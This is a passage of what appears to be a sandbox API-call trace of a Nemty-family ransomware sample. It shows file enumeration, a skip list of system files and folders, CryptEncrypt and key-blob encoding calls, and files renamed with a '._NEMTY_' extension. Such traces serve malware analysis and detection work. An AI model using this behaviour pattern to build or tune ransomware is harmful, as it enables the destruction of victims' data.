lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.619] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.693] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401c8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0131.715] CloseHandle (hObject=0xffffffff) returned 0 [0131.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0131.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0131.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0131.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0131.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0131.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0131.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63404a8 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0131.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\default_thumb.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\default_thumb.jpg"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\default_thumb.jpg._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\default_thumb.jpg._nemty_kgobjgd_")) returned 0 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0131.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.716] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1682, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="ehshellLogo.png", cAlternateFileName="")) returned 1 [0131.716] lstrcmpiW (lpString1="ehshellLogo.png", lpString2=".") returned 1 [0131.716] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="..") returned 1 [0131.716] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="...") returned 1 [0131.716] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="windows") returned -1 [0131.716] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="$RECYCLE.BIN") returned 1 [0131.716] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="rsa") returned -1 [0131.716] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="NTDETECT.COM") returned -1 [0131.716] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="ntldr") returned -1 [0131.716] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="MSDOS.SYS") returned -1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="IO.SYS") returned -1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="boot.ini") returned 1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="boot.ini") returned 1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="AUTOEXEC.BAT") returned 1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="ntuser.dat") returned -1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="desktop.ini") returned 1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="CONFIG.SYS") returned 1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="RECYCLER") returned -1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="BOOTSECT.BAK") returned 1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="bootmgr") returned 1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="programdata") returned -1 [0131.717] lstrcmpiW (lpString1="ehshellLogo.png", lpString2="appdata") returned 1 [0131.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ehshellLogo.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0131.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ehshellLogo.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehshellLogo.png", lpUsedDefaultChar=0x0) returned 15 [0131.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0131.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ehshellLogo.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0131.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ehshellLogo.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehshellLogo.png", lpUsedDefaultChar=0x0) returned 15 [0131.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0131.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ehshellLogo.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0131.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ehshellLogo.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehshellLogo.png", lpUsedDefaultChar=0x0) returned 15 [0131.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ehshellLogo.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0131.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ehshellLogo.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehshellLogo.png", lpUsedDefaultChar=0x0) returned 15 [0131.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0131.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0131.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0131.717] Sleep (dwMilliseconds=0x5) [0131.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2291f30, dwHighDateTime=0x1d561e8)) [0131.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2291f30, dwHighDateTime=0x1d561e8)) [0131.724] GetLastError () returned 0x5 [0131.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.724] GetLastError () returned 0x5 [0131.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0131.724] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0131.724] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0131.725] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0131.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0131.725] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="99OMCQYRmklayZ7FTT0sADVc+0ltiADiCQ1r/qajdM3RBy2bv6fDfGx8+oQ7JiBT\r\ne41HMkUGQj8vGT4fXTChUPm1AQShAbE6a+Y3PmlIfrfZefhlbyBzHUgwPnZJ2znJ\r\nixgfmfq46uCw1A2x0/UG/1gdnzekbU1p+SNG6KWJgQ2Zgh+/UwrPPdAAptMVCYfH\r\nKlM8anEFaSgGqY5dPu56ox34gcJiESypTkrDZ3r74RNmQo0ye2tOiTBMDlxIUEYm\r\nrUne6l1RFFHuqHGLwraAtb4aG+zJ+uWU/TTZomBaR8dHsRlroEhD7O9qcKLLJUm2\r\nXcqzY9pmCg3Lty9MAf71lg==\r\n", pcchString=0x653e91c) returned 1 [0131.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0131.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0131.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0131.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0131.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0131.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0131.725] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\ehshellLogo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\ehshelllogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.725] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0131.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0131.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.763] WriteFile (in: 